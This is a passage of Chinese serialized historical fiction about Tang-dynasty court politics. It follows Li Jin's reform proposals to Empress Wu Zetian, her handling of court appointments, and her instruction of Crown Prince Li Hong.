“‘利’者,豪强之利也。彼等兼并田土,荫庇人丁,逃避赋役,坐享其成。行土断括户,乃夺其利,其必拼死相抗,或明或暗。故不可不先明利害,分化瓦解。可明诏天下,言此举意在均平赋役,安辑流散,非为夺富济贫。对新登录之户,可许以三年或五年内赋税减免,或授予部分垦荒田地之永业权,使其得利,自愿归籍。对主动配合之豪强,可视其献出田亩、人丁多寡,予以旌表、虚衔,或使其子弟入仕、入国子监之优待。对抗拒不从、隐匿尤甚者,则必以严法惩之,籍没其部分田产,以儆效尤。如此,有赏有罚,或可减少阻力。”
“‘力’者,朝廷之力也。欲行此事,需有强干之吏,充足之备,必要时,需有武力为后盾,以防不测。州县官吏,多有与地方豪强勾连者。故主持其事之官,当选派清廉刚正、不畏强御、且与当地无甚瓜葛者,如新科进士中干才,或御史台中敢言之士,授以专权,直奏天听。另,可仿汉代‘刺史’、‘州牧’故事,赋予巡察使临时调遣少量州郡兵、维持秩序、弹压豪强之权,然需严令,非不得已,不得擅动刀兵,以免激成民变。钱粮亦需预备,以防清查出大量贫困人口,需朝廷赈济安置。”
“‘信’者,百姓之信也。百姓依附豪强,或因赋役苛重,或因朝廷保护不力。故欲使隐户自愿归籍,朝廷需先立信。其一,需确保新定之赋税额度,确实低于或至少不高于豪强盘剥。其二,需有法可依,有诺必践,确保新政能持久,不使百姓今日归籍,明日又因胥吏贪暴或政策反复而逃散。其三,地方官府需切实承担起保护编户齐民之责,打击豪强欺凌,审理诉讼公正。若能取信于民,则豪强虽欲荫庇,人亦不愿往矣。”
“故臣以为,此事当缓图,不可骤行。可选一二试点,如豪强势力不甚盘根错节、或朝廷掌控力较强之州县,先行试行。待取得经验,完善法令,再徐徐推广。试点成功,则天下知朝廷决心与方略,阻力自减。若全面铺开,恐处处掣肘,事倍功半。另,可借明年可能之行‘封禅’大典,或某地‘祥瑞’出现之机,宣扬陛下与殿下德政,标榜‘与民更始’,以此名目推行,或可稍减物议。”
写罢“土断括户”,李瑾略作停顿,饮了一口已微凉的茶汤。皇后能想到修订《氏族志》,其政治眼光和魄力确实非同一般。此事看似只是修订一本记载世家门第的书籍,实则是向绵延数百年的门阀制度发起挑战,意在打破旧有的社会等级秩序,为寒门才俊和当朝新兴权贵(包括她自己所属的武氏,以及像他这样依靠军功崛起的勋贵)争取更高的社会地位和政治话语权。这无疑会触动以崔、卢、李、郑、王为代表的山东旧士族,以及部分关陇军事贵族的根本利益,其阻力甚至可能比“土断括户”更大。
他继续写道:“至于重修《氏族志》,臣以为,殿下所见极是。魏晋以来,门阀相高,积弊已重。本朝肇建,虽赖关陇武力,然山东旧族,犹以门第自矜,往往凌驾寒素,堵塞贤路,实非国家之福。修订其书,以当代官爵高下为标准,重定氏族等第,可使‘崇重今朝冠冕’,激励士人效忠朝廷,凭才学功业进取,而非仅恃祖宗余荫。”
“然此事尤为敏感,触动者众。故臣有三虑,一曰‘名’,二曰‘实’,三曰‘序’。”
“‘名’者,需有足以服众之名义。可诏令儒臣,言旧《志》编纂仓促,体例未善,且数十年来,人物升降,婚姻迁替,亟待重修,以‘考其真伪,甄其盛衰’,此乃整理典籍、稽考世系之正途,可掩其政治锋芒。”
“‘实’者,需有具体可行之标准。若单纯以当今官职高低为唯一标准,恐失之偏颇,亦难服众。臣愚见,或可兼顾数端:其一,当今官爵,此为根本;其二,累世清德,即家族门风、德行声望;其三,人才辈出,即家族子弟之科举、仕宦成就;其四,婚姻状况。综合评定,划分等第。如此,虽仍以当代冠冕为主,但顾及旧族颜面,亦为新兴家族之持续发展设定标杆,可稍减非议。”
“‘序’者,修订之次序与范围。可先命弘文馆、秘书省学士,广泛搜集天下谱牒,详加考订,去伪存真。初稿可暂不公开,仅于小范围内评议。待初步成型,可先试探性将部分当朝显贵、功勋之臣的家族等级适度提升,观察反应。尤其可优先考虑那些出身并非顶级门阀,但于国有大功、或为殿下所重之臣的家族。若反对声浪过大,则可暂缓,徐图之;若反应尚可,再逐步扩大范围,最终定稿颁行。此事宜缓不宜急,宜密不宜公,当以‘润物细无声’之法推行,待木已成舟,则反对者亦难挽回矣。”
最后,是关于关中漕运。这是关系帝国生命线的根本问题,长安人口百万,粮食供应大半依赖东南漕运,但三门峡天险一直是巨大阻碍,漕运损耗、阻滞严重。
“漕运之事,关乎京师命脉,朝廷根本。三门之险,历代束手。臣昔日镇守洛阳,亦曾留意此事。除加造‘上门填阙船’、疏浚河道、加强转运等常规之法外,臣另有一思,或可尝试。”
他详细阐述了“陆运绕行三门峡”的构想,即在三门峡险段,修筑相对平坦的陆路,以车马或人力,将漕粮从船上卸下,陆路绕过险滩,再装船西运。虽然仍不免劳费,但或许能比单纯依赖水运、在激流中冒险损失更小。他建议可先小规模试行,测算成本,若可行再推广。同时,他也再次强调了加强运河沿线仓储备、发展沿途屯田、鼓励商贾运粮入京以补不足等辅助措施。
写完漕运建议,李瑾笔锋一转,提及了另一件看似不相关,实则至关重要的事——太子教育。
“臣闻太子殿下日诵诗书,勤学不辍,陛下与皇后殿下可慰。然储君之教,非独在经史文章,更在明习政务,体察民情。臣斗胆进言,或可择春秋佳日,令太子殿下巡视京畿,观稼穑,问疾苦;或使听断简单刑名案件,以知法度;或使参与祭祀、礼仪,以习典章。接触实务,方知治国之艰,民生之要。此非臣妄议宫闱,实为国家万年计也。陛下与殿下春秋正盛,自可总揽乾纲,然太子早历实务,他日克承大统,必能更善理天下。”
这最后一段,措辞极为谨慎,但用意深远。他是在委婉地提醒,太子李弘已渐长成,是时候让他更多地接触实际政务,了解民间疾苦和治国理政的复杂性了。这既是为国储君考虑,或许,也隐含着某种平衡未来朝局的深远思虑——一个通晓实务、明白事理的太子,对帝国的稳定至关重要。
信很长,李瑾写得极为认真,几乎每一段都反复斟酌,力求言之有物,又不出纰漏。他知道,这封信不仅是政策建议,更是他政治立场、思维方式和忠诚度的一次集中展示。他必须展现出足够的智慧和远见,以配得上皇后的倚重,但又要把握好分寸,不显得过于僭越或野心勃勃。
写罢,他亲自用火漆封好,盖上自己的私印,唤来绝对亲信的家将,命其以最快速度,通过安全渠道送往洛阳。
数日后,洛阳宫中,武则天在立政殿的灯下,仔细着这封长信。她的目光在字里行间缓慢移动,时而停顿,若有所思。信中没有华丽的辞藻,没有虚浮的套话,每一条建议都切中要害,既有战略高度,又有具体操作,更难能可贵的是,其中体现出的平衡与务实——既看到改革的必要,也清醒认识到阻力与风险;既有推进的魄力,也讲究策略与步骤。
尤其是关于“土断括户”需“利、力、信”兼备,关于修订《氏族志》的“名、实、序”三虑,以及最后关于太子教育的建议,都让她频频颔首。李瑾的思虑,与北门学士们的讨论有许多不谋而合之处,但更显老辣周全,且带有一种从军事战略衍生出的全局观和节奏感。他不仅指出了问题,给出了方法,还预判了可能的反应,提出了应对之策。
“梁国公……确是大才。”武则天放下信笺,轻轻吁了口气。这封信让她更加确信,与李瑾的联盟是正确且必要的。他不仅是战场上的统帅,更是政坛上极具洞察力的盟友。他的建议,补充甚至在某些方面超越了北门学士们的视野。更重要的是,信中透出的谨慎与忠诚,让她感到放心。他没有因为战功赫赫而忘乎所以,也没有因为执掌枢密而试图干预所有政务,他清晰地知道自己的位置和界限,但又能在关键问题上提出极具价值的见解。
她提笔,在一张便笺上记下了几个要点:“土断试点”、“氏族志缓图”、“漕运陆绕”、“太子习政”。这些,都将成为她日后决策的重要参考。
窗外,洛阳的夏夜同样闷热,但武则天的心里,却似乎因为这份来自长安的、沉甸甸的信,而多了几分踏实和清凉。她知道,自己不是一个人在战斗。前有北门学士为她出谋划策,起草诏令;外有李瑾这样的能臣,镇守中枢,襄赞大政。这内外相辅的格局,正是她能够稳坐帘后,统御这庞大帝国的底气之一。
“传话给长安来使,”她对侍立一旁的高延福道,“就说本宫已览梁国公书信,所言甚是,本宫会仔细参详。梁国公坐镇枢密,总理戎机,劳苦功高,亦需保重身体。”顿了一顿,她又补充道,“将本宫新得的那盒高丽参,拣上好的,让使者带回,赐予梁国公。”
“是。”高延福躬身应下,心中明了,这不仅是寻常的赏赐,更是皇后对梁国公建议的高度认可,以及对其人其事的格外看重。
信使带着皇后的回赐和口谕返回长安。李瑾收到后,神色平静,只是对着洛阳方向,郑重地拱手一礼。他知道,自己又一次通过了“考试”,并且在这场复杂而微妙的权力游戏中,为自己,也为这个联盟,赢得了一份沉甸甸的筹码。而帝国的航船,就在这内外协同、君臣(后)相得的诡异平衡中,继续破浪前行,尽管前路依旧迷雾重重,暗流涌动。
第188章 凤舞九重天
咸亨四年的深秋,长安的空气中弥漫着一种奇异的氛围。肃杀的西风卷过朱雀天街,吹落道旁槐树最后的枯叶,也吹拂着百官朝服上日益鲜明的补子——那些补子上,象征皇权的日月、山峦、华虫纹样,在晨光中闪烁着沉稳的光泽。然而,在紫宸殿那方明黄纱帘之后,发号施令、裁决万机的,并非身着衮冕的皇帝,而是一袭深青祎衣、头戴十二树花钗的皇后武则天。
李治的病,时好时坏。好的时候,能在宫人搀扶下,于寝殿内缓缓踱步,甚至召见一两个亲近老臣,说些无关痛痒的闲话,听听内侍省精心筛选过的、无关紧要的朝政简报。但更多的时候,他头目眩晕,畏风惧光,只能躺在寝宫的帷帐深处,与药石为伴。朝会,自年初那场盛大却心力交瘁的元日大朝后,便再未亲自主持过。那方垂于御座之侧的纱帘,似乎已成为这座宫殿,乃至整个帝国权力中枢,一道固定而不可忽视的风景。
起初,朝臣们还不太习惯。奏对时,目光总下意识瞥向那空悬的御座,话语间带着几分试探与迟疑。但日子一天天过去,当一道道政令从帘后清晰果断地发出,当一场场危机(如去岁的南北大灾)被有条不紊地化解,当一个个棘手的人事、财政、边防议题在皇后主持的朝议中得到明确指示,那纱帘后的身影,在百官心中逐渐从“代行”的皇后,变成了实质性的裁决者。她的威严,不再仅仅源于她是皇帝的妻子、太子的母亲,更源于她展现出的卓越政治才能、明快的决断力,以及那种日益沉稳、不容置疑的气度。
这一日的大朝会,气氛尤为肃穆。并非因为有紧急军情或重大灾害,而是涉及一项敏感的人事任命——安西都护的人选。原安西都护因年老体衰乞骸骨,这个镇守西域、统管四镇、直面吐蕃与西突厥余部压力的紧要职位出缺,朝中议论纷纷。有提议由陇右某将军接任的,有建议从北庭调派的,也有主张选用朝中熟悉边事的文臣出镇的。
纱帘之后,武则天端坐如仪,面前御案上摊开着几份重点推荐的候选人履历和各方意见摘要。她并未急于表态,而是让朝臣们充分发表意见。一时间,紫宸殿内,武将慷慨陈词,文臣引经据典,各执一词,争执不下。支持武将者,认为安西乃四战之地,非宿将不能镇抚;支持文臣者,则认为边镇亦需文治教化,且可防武将坐大。
李瑾作为枢密使,自然也位列班中。他眼观鼻,鼻观心,并未急于发言。他清楚,此事皇后心中必有定见,朝议不过是走个过场,兼听则明而已。果然,当争论渐趋白热化时,帘后传来了武则天平静却极具穿透力的声音:
“诸卿所议,皆有道理。安西重镇,确需文武兼备、刚柔并济之才。既需震慑诸胡,怀柔远人,亦需善理民政,屯田积谷。”
她略一停顿,殿内立刻鸦雀无声。只听她继续道:“本宫详阅诸将履历,并咨于枢密使。左骁卫将军、检校安西都护杜怀宝,曾任庭州刺史,熟悉西域事务,屡经战阵,性果毅,能得士心。更兼其早年曾任州县,略通民事。可加其为正任安西都护,持节,总管安西四镇诸军事、兼安抚大使。”
杜怀宝?一些大臣面露讶色。此人确是一员骁将,资历也够,但并非争议各方最初聚焦的热门人选。皇后显然在众人争论之外,早有属意。而且,她特意点出“咨于枢密使”,既尊重了李瑾的职权,也暗示此人选是军政高层共识。
这时,武则天话锋一转:“然安西孤悬万里,都护一身,恐有不及。可另择一文臣,为安西大都护府长史,佐理民政,抚循部落,专司屯田、互市、教化之事。鸿胪少卿、知制诰王方翼,博涉经史,明习边事,曾任肃州刺史,颇有政声。可加其为安西大都护府长史,兼安抚副使,协助杜怀宝,共镇西域。”
一文一武,相互制衡,又职责分明。武将以军事威慑为主,文臣以治理安抚为要。这安排既考虑了边疆实际,又隐含了中枢对边将的牵制之意,可谓老辣。更重要的是,王方翼并非传统世家出身,属于武则天近年提拔的“北门学士”一系的外放历练,此举显然也有培养自己嫡系、加强中央对西域控制的深意。
提议既出,殿中寂静片刻。许敬宗率先出列,躬身道:“皇后殿下圣虑周详,如此安排,文武相济,刚柔并施,实乃安西之福,朝廷之幸。臣附议。”
李义府等人也纷纷跟进。原本争执的双方,见皇后已有成熟方案,且合情合理,也只好按下各自心思,齐声附和。李瑾亦出列表示赞同。这项重要的人事任命,就在这看似平和、实则完全由帘后之人主导的朝议中,尘埃落定。
散朝后,武则天并未立刻返回后宫。她移驾至紫宸殿侧后的延英殿,这里是她日常召见重臣、处理机要的常所。今日,她要在此接见几位即将外放的地方大员,亲自训谕。
首先进来的是新任汴州刺史。汴州乃漕运咽喉,地位紧要。此人原为御史中丞,以刚直敢言著称,但在朝中得罪人不少。武则天提拔他出掌大州,既有重用之意,也有调离中枢、缓和矛盾的考虑。
“汴州地当冲要,漕运所经,商贾云集,亦多奸猾。”武则天看着伏地行礼的官员,声音不高,却字字清晰,“你以风宪之官出治大州,当知朝廷期许。一在确保漕运畅通,仓储充实,此乃国家命脉,不得有失。二在打击豪强,抑制兼并,汴州富庶,然贫富悬殊,易生事端。三在整顿吏治,你那刚直之气,要用在肃贪惩奸上,但亦需明察,勿为小人所乘,亦勿苛察扰民。可能做到?”
新任刺史再拜,激动道:“臣蒙殿下拔擢,敢不尽心竭力,以报天恩!必当清廉自守,勤政爱民,确保漕运,安抚地方!”
“很好。记住你的话。退下吧。”
接着是即将赴任的江南东道观察使。江南乃财赋重地,但去岁水患影响犹在,民生待复。武则天对他的训谕,重点在于安抚流亡、恢复生产、征收赋税需“公平、均一”,严禁横征暴敛,并特别询问了当地修复水利、推广新式农具的打算。新任观察使一一奏对,显然赴任前做足了功课,武则天微微颔首,表示满意。
最后进来的是新任安西大都护府长史王方翼。面对这位自己亲手提拔的年轻文臣,武则天的语气缓和了些,但要求更为具体。
“方翼,西域情形复杂,诸胡杂处,吐蕃窥伺。你此去,首要在于‘稳’。辅佐杜怀宝,绥靖地方,勿轻易启衅。二要‘抚’。羁縻诸部,公正断事,开通互市,使其有利可图,则自然归心。三要‘实’。屯田积谷,最为紧要。安西粮饷,千里转输,十不存一。若能在当地垦殖,自给一部,则军心民心皆安。此三事,可能铭记?”
王方翼深深叩首:“臣谨记殿下教诲!稳、抚、实,三字箴言,必不敢忘。臣定当竭尽驽钝,不负殿下知遇之恩!”
“嗯。西域虽远,亦是大唐疆土,陛下与本宫时刻挂心。你年富力强,正可建功立业。好生去做,勿负朝廷,亦勿负平生所学。”
接见完毕,已近午时。武则天略显疲惫地揉了揉额角,但眼神依旧清明。高延福悄声禀报,太子殿下已在偏殿等候多时,请示今日的经筵讲读是否照常。
“让他进来吧。”武则天端起参茶,饮了一口。
太子李弘已年近二十,身材颀长,面容继承了父母的优点,颇为俊朗,只是气质稍显文弱。他规规矩矩地行礼问安,神态恭谨,甚至带着一丝不易察觉的拘谨。
“今日不必讲经了。”武则天示意儿子坐下,目光在他脸上停留片刻,“弘儿,你近日协助翻阅奏疏,有何心得?”
李弘略一迟疑,恭敬答道:“回母后,儿臣阅览各地奏报,深感治国之不易。天灾人祸,吏治民生,千头万绪。母后日理万机,儿臣……儿臣只觉所学浅薄,未能为母后分忧。”
这番话得体,却少了些少年人应有的锐气和见解。武则天心中暗叹,语气却依旧温和:“能知不易,便是进益。为君者,不必事事躬亲,但需知人善任,明辨是非。你观近日朝议,安西都护人选一事,有何看法?”
李弘想了想,谨慎地说:“母后安排杜将军与王长史文武相济,甚是妥当。儿臣以为,边镇重地,确需如此制衡。”
“仅止于此吗?”武则天追问,“杜怀宝为将骁勇,然性稍急躁;王方翼文才出众,却少经战阵。二人共事,难免龃龉。朝廷当如何预为之防?”
“这……”李弘语塞,显然未曾深入思考。
武则天并不苛责,缓缓道:“可明确二人权责,划定界限。军事以杜怀宝为主,王方翼不得妄加干涉;民政、外交、屯田等,则以王方翼为主,杜怀宝亦需配合。更重要的,是中枢需有定见,遇事方能裁决。另,可密谕安西副都护、司马等佐贰官员,留心协调,若有重大分歧,需即时密报。此所谓‘制衡’之道,在于制度,亦在于人。”
李弘恍然,连忙道:“儿臣受教。”
“治国如驭马,张弛有度。既要用其力,亦要防其蹶。你日后肩担重任,需时时体察此中分寸。”武则天语重心长,“今日便到这里。回去将《贞观政要》中‘君臣鉴戒’、‘论封建’两篇,再仔细研读,三日后,我要考问你心得。”
“是,儿臣告退。”李弘恭敬行礼退出。
看着儿子离去的背影,武则天眼中闪过一丝复杂。这个孩子仁孝,但似乎过于仁弱,缺乏其祖父太宗皇帝,甚至其父亲年轻时的果决与霸气。帝国的未来……她轻轻摇了摇头,将这一丝忧虑暂且压下。眼下,还不到考虑那么远的时候。
她重新将目光投向案头堆积的奏疏。那里有关于试行“土断括户”的初步方案,有北门学士草拟的修改《氏族志》的细则,有李瑾关于漕运的新建议,有各地秋收情况的汇报,有吐蕃、突厥的最新动向……千头万绪,都需她一一梳理,做出决断。
她提起朱笔,在一份关于在河南道试点“土断”的奏疏上,批了一个“可”字,并补充了“选派干员,务必详实,缓进勿急,遇阻即报”的具体指示。字迹娟秀而不失力道,朱砂鲜红,印在黄色的宣纸上,象征着至高无上的权力。
放下笔,她起身,缓步走到延英殿的窗边。窗外,是大明宫重重叠叠的宫殿飞檐,在秋日高远的天空下,显得恢弘而肃穆。更远处,是长安城连绵的里坊,市井的喧嚣隐隐传来,那是她治下的万民,是她日夜操劳所系。
曾几何时,她只是先帝后宫一个默默无闻的才人,是感业寺中青灯古佛前的一名女尼。命运将她推回宫廷,推到这个男人身边,又因他的病弱,将她推到了这权力的巅峰。从战战兢兢辅助理政,到独自裁决军国大事;从依赖朝臣建议,到培育自己的智囊班底,提拔心腹干将;从处理具体政务,到筹划关乎国本的长远改革……这一步一步,看似被动,实则步步为营。
她知道朝野上下如何看待她。有人敬畏,有人依附,有人腹诽,有人等待着她犯错,等待着那个病榻上的男人重新站起来,或者等待那个日渐长大的太子,来结束这“牝鸡司晨”的局面。
但那又如何?
她转过身,目光掠过御案上堆积的文书,掠过殿中肃立的宫人,掠过窗外象征着无上皇权的宫阙。一种前所未有的、混合着巨大责任与掌控感的激流,在她胸中涌动。这万里江山,亿兆黎民,此刻就在她的手中运转。她的一句话,可以决定边将的任免,可以影响万民的生计,可以推动或阻止一场变革。
这种掌控感,并非源于虚妄的野心,而是源于她相信自己能够比大多数人更好地治理这个国家。她用自己的智慧、决断和勤勉证明了这一点。赈灾安民,她做到了;选拔贤能,她正在做;改革积弊,她已开始布局。天下在她治下,大体安宁,国力在恢复,甚至比皇帝健康时,显得更有条理,更富效率。
“凤舞九天……”她心中默念着这个不知何时浮现的词语。或许,她这只从荆棘与火焰中重生的凤凰,本就该翱翔于这九重宫阙之上,俯瞰这芸芸众生。皇帝的病,是她的不幸,或许,也是这帝国的另一种机缘。
高延福轻手轻脚地进来,禀报午膳已备好。武则天收回远眺的目光,眼神重新变得冷静而专注。
“传膳吧。另外,让北门学士元万顷、刘祎之午后过来,本宫要议一议明年开春,劝课农桑、兴修水利的具体章程。”她的声音平静无波,却带着不容置疑的决断。
“是。”高延福躬身退下。
武则天重新坐回御案之后。秋日的阳光透过窗棂,洒在她深青色的祎衣上,为那庄严的服饰镀上了一层淡淡的金边。她微微挺直了脊背,目光沉静地投向案头,那里,帝国的未来,正等待着她一笔一划地去书写。
凤舞九重天,其羽已丰,其鸣已清。这大唐的苍穹,正悄然适应着,这独一无二的翱翔之姿。
第189章 太子渐长成
腊月的长安,寒气砭骨,但东宫显德殿的书房中,却因炭火充足而暖意融融。太子李弘端坐在宽大的书案后,身上裹着一件紫貂皮裘,略显苍白的脸上带着专注的神情。他面前摊开的,并非经史子集,而是一摞经过挑选、抄录的奏疏摘要。这些奏疏来自尚书省、中书门下,内容涉及地方水旱灾情、刑狱案件复核、漕运损耗、边镇军需等具体政务,是武则天特意命人挑选出来,给他“见习”的。
李弘今年已满二十岁。按制,太子加元服(成年礼)后,便应更深入地参与朝政,学习治国之道。自去年秋始,武则天便有意识地让他接触一些非核心的政务文书,并定期召他问对,考较其见解。李弘的几位老师,如太子宾客许敬宗(兼)、太子左庶子李安期、右庶子张大安等,也时常为他讲解时政,分析利弊。
然而,真正深入接触这些繁杂而具体的政务,对自幼生长于深宫、接受严格儒家经典教育的李弘来说,仍是一种全新的、甚至有些吃力的体验。经书上讲的是仁政、德治、王道,是抽象的原则和理想化的先王典范。而眼前这些奏疏,呈现的却是实实在在的难题、互相冲突的利益、以及迫在眉睫的抉择。
比如手中这份来自河南道汴州(治所今开封)的奏报,提及今冬酷寒,黄河部分河段出现凌汛,威胁堤防,请求朝廷拨付钱粮,征发民夫加固堤岸。这看似简单,但涉及钱粮从何处出?是动用地方常平仓,还是申请中央调拨?征发民夫,是在当地征调,还是从别州调配?时近岁末,农闲时节,征发民夫是否会影响来年春耕?若拨付钱粮,又如何确保能用到实处,不被胥吏克扣?这些问题,经书上没有现成答案。
李弘提起朱笔,在旁边的笺纸上写下自己的初步意见:“凌汛事急,关乎民生,当速处置。可令汴州先开常平仓,并动用部分州府公廨钱,就地采买物料,雇佣民夫抢修。若仍不足,再行奏请。需严令刺史、县令亲临督工,御史台遣员巡查,以防虚耗、贪墨。” 写罢,他觉得似乎还不够周全,又蹙眉思索。
这时,侍读的太子司议郎,一位新近选拔的年轻官员,小心翼翼地提醒道:“殿下,动用公廨钱,恐影响州府日常用度。且雇佣民夫,所费甚巨。或可考虑徭役征发,按律,每丁岁役二十日,今冬严寒,农事已毕,或可提前征发来年春役,以工代赈,既修河防,亦安贫民。”
李弘闻言,眼睛微亮:“以工代赈?此议甚善!既可省却部分钱粮,又可惠及贫苦,防其冬日饥寒生事。” 他提笔修改了自己的意见,加入了“可酌行以工代赈,提前征发部分春役,厚给口粮,勿使失所”等语。
处理完这份,他又拿起另一份,是刑部和大理寺关于数桩死刑复核的奏报。其中一案,是雍州某县民,因田土纠纷,愤而杀死邻人,按律当斩。但该犯年逾六十,且邻里证言,死者平日多行欺凌,县令初判亦认为“事出有因,情有可悯”,但州府复核维持死刑,刑部与大理论也拟照准。
李弘看着案卷,心中不忍。儒家讲“恤刑”、“慎杀”,《论语》有云:“子为政,焉用杀?” 他提笔在旁批道:“耄耋老人,激愤杀人,虽罪无可逭,然究其缘由,死者亦有过失。且县令初判已见怜悯。律法不外人情,是否可酌情减死,改为流刑,以彰陛下好生之德?”
批注完这几份,李弘已觉有些疲惫,额头渗出细密的汗珠。他自幼体弱,虽经精心调养,但精力终究不如常人。内侍连忙递上参茶,他饮了几口,略作休息。望着案头还有厚厚一叠文书,心中不禁感慨,原来每日母亲要处理如山般的政务,竟是这般劳心劳力。
“太子殿下,” 太子左庶子李安期不知何时进来,拱手行礼,“皇后殿下口谕,请殿下移步延英殿,有奏疏需殿下共议。”
李弘忙振作精神,整理衣冠,在内侍的搀扶下,乘步辇前往母亲日常理政的延英殿。
延英殿内,武则天刚刚与户部、工部官员议完明年开春的几项水利工程预算。见太子进来,她示意赐坐,将一份奏疏递给他。
“弘儿,你看看这份奏报,说说你的看法。”
李弘接过,是幽州都督关于处置辖区内奚族、契丹部落冲突的请示。概因两部争夺牧场,发生械斗,死伤数十人。幽州都督已派兵弹压,暂时隔开双方,但两部怨气未消,请示朝廷是应调停安抚,还是出兵惩戒,以儆效尤。
李弘仔细,思索片刻,答道:“回母后,奚与契丹,皆羁縻州府,乃我朝藩屏。彼等争执,不过牛羊牧场,非有叛心。儿臣以为,当以安抚为主。可遣使臣,携金帛前往,宣示朝廷德意,责令双方罢兵,划定牧界。首恶者可惩,胁从不同。若一味用兵,恐使其离心,反驱之投向北边突厥余部或东边高句丽遗民。”
武则天听着,不置可否,又问:“若遣使调解,两部不从,依旧争斗不休,甚至劫掠边民,又当如何?”
李弘迟疑了一下,道:“若其不从教化,侵扰边境,自当发兵慑之。然亦应先礼后兵,示以朝廷宽大,亦显仁义。用兵之后,仍需善加抚慰,不可徒恃武力。”
武则天点了点头,语气平缓:“你能想到先抚后剿,以德服人,这是好的,合乎圣贤之道。然而,边事复杂,非仅凭仁义可定。奚与契丹,畏威而不怀德者,亦众。幽州都督请示,亦是试探朝廷态度。若我朝示弱,一味怀柔,恐其以为朝廷可欺,日后争端更频,边患不止。”
她拿起另一份文书,递给李弘:“这是去岁兵部关于东北边镇军力部署、粮草储备的简报。你再看看。”
李弘接过浏览,上面详细列出了幽州、营州、平卢等军镇的兵力、马匹、存粮数字,以及奚、契丹、霫、室韦等部的大致人口、兵力估算。对比之下,唐朝在东北的军力占有明显优势,但后勤补给线较长。
“你看,”武则天指点着文书,“我朝在幽燕一线,军力充足,粮草可支撑一场中等规模战事。奚、契丹内斗,实力受损,此刻我若态度强硬,责令其首领亲自入朝请罪,并赔偿边民损失,他们敢不从吗?即便不从,我以精锐边军击其疲敝之众,胜算几何?”
李弘恍然:“母后的意思是……此刻正是立威之时?”
“不错。”武则天目光锐利,“边陲之事,仁义需有,然威权更不可缺。尤其对这些时降时叛的部族,需恩威并施,且威常在恩先。此刻他们内斗,有求于我朝调停,正是我彰显威权、施加影响之良机。可严词切责,令其罢兵,各遣子弟为质,并划定牧界,由我朝官吏监督。若有不从,则幽州兵马,可直取其牙帐。如此,既可平息争端,又能加强控制,一劳永逸。若一味怀柔抚慰,他们未必感恩,反可能觉得朝廷可欺,日后更难驾驭。”
李弘听得心头发紧,母亲的话语冷静而现实,与经书上的教诲颇有不同。但他不得不承认,从实际控制边疆的角度看,母亲的想法似乎更有效。
“当然,”武则天语气稍缓,“具体如何措辞,派何人出使,边军如何配合,需详细斟酌。此事,我会与兵部、鸿胪寺及枢密院商议。让你看,是让你明白,处理政务,尤其是边事,需知己知彼,权衡利害,不可一味拘泥于经典,亦不可优柔寡断。仁德是根本,但无威权相辅,仁德有时反而会招致祸患。”
“儿臣……受教。”李弘低下头,心中五味杂陈。他钦佩母亲的果决与洞见,却又隐隐感到,这种基于实力计算的冷静权衡,与自己内心推崇的“以德服人”、“王道仁政”的理想,存在一种难以言说的隔阂。
“你方才批阅的奏疏,我也看了。”武则天转换了话题,拿起李弘批注过的那几份奏疏摘要,“关于汴州凌汛,你能想到以工代赈,考虑周全,甚好。不过,征发春役需谨慎,要明确时限,不可延误农时,口粮务必足额发放,此事我会让工部、户部再议。至于那桩死刑案……”
她看了看李弘建议减刑的批注,沉默了片刻。李弘的心提了起来。
“你的仁悯之心,是好的。”武则天缓缓道,“然而,司法贵在公正、一贯。此案凶手杀人事实清楚,按律当斩。县令所谓‘情有可悯’,多为主观臆断,且死者已矣,无从对证。若因凶手年老、或邻里片面之词即行宽宥,则律法威严何在?日后类似案件,又当如何判决?司法一旦开了‘酌情’之口,且无明确标准,则易生冤滥,亦为胥吏上下其手留下空间。”
她看着儿子有些发白的脸,语气稍缓:“当然,若证据确凿,能证明死者确有重大过错,或凶手确有可矜之处,依法亦可上请,由刑部、大理寺详议,甚至上奏天听,由陛下或本宫最终裁定。但这需有确凿证据和法定程序,非凭一言‘情有可悯’即可轻纵。你明白吗?”
李弘默然,良久才低声道:“儿臣明白。是儿臣思虑不周,过于妇人之仁了。”
“非是妇人之仁,”武则天纠正道,“是仁德需与法度相济。为君者,心存仁念,自是美德。然施政决狱,需以法度为绳墨,以公正为准绳。否则,仁心可能成为祸乱之源。此事,你需再细思。”
“是。”李弘恭敬应道,背后却已渗出冷汗。他感到,母亲所展现的治国理政之道,犹如一座高峻而严酷的山峰,与他过去在经典和老师那里学到的、相对温和平坦的道路,迥然不同。他必须努力攀爬,适应这种高度和严寒,而这过程,让他感到有些力不从心,甚至……有些畏惧。
离开延英殿时,天色已近黄昏。李弘坐在回东宫的步辇上,望着宫墙内逐渐黯淡的天空,心情复杂。他开始接触政务,开始了解这个庞大帝国运行的复杂肌理,也开始体会到母亲肩上担子的沉重,以及她那看似无限权威背后,所需的冰冷计算与铁腕决断。
他知道,这是身为储君必须经历的学习和磨砺。母亲在培养他,或许也在考验他。他想起父亲,那个缠绵病榻的皇帝,曾经也是英明果决的天可汗,如今却只能困守深宫。权力的滋味,究竟是怎样的?是像母亲此刻这般,一言可决千万人之命运,却也需承受千万人之重负?还是像父亲那般,拥有至高名位,却被病体和时势困缚,空余惆怅?
东宫的灯火已然在望。李弘深吸了一口冰冷的空气,努力将那些纷乱的思绪压下。他知道,自己要走的路还很长。而这条路上,母亲那高大的身影,既是他学习的榜样,也是一座他必须努力去理解,甚至有一天可能需要去……面对的山峰。这个念头让他心中一颤,不敢再深想下去。
“殿下,到了。”内侍轻声提醒。
李弘定了定神,扶着内侍的手,走下步辇。东宫属官已在殿前迎候。他挺直了有些单薄的脊背,脸上重新恢复了那种温和而矜持的储君仪态,迈步走向那一片为他亮起的、象征着未来皇权的灯火通明之中。只是无人看见,他那掩在袖中的手,微微握紧,又缓缓松开。
第190章 母子生隙缝
时光悄然流转,咸亨五年的春寒,比往年更为料峭。东宫丽正殿的书房中,炭火依旧烧得旺,却似乎驱不散李弘心头的阵阵寒意。他面前摊开的奏疏,是御史台弹劾同州(治所今陕西大荔)刺史裴某的本章。罪状列了七八条,多是“苛敛于民”、“用人唯亲”、“治下冤狱”等常见罪名,但其中一条,却让李弘眉头紧锁——“强占民田,逼死农户”。
奏疏附有粗略的调查,言裴刺史为扩建自家庄园,以低价强购民田,一农户不从,反被诬陷盗抢,锁拿入狱,不久即“病亡”狱中。其妻申告无门,投水自尽,留下老母幼子,境况凄惨。此事在当地已激起民愤。
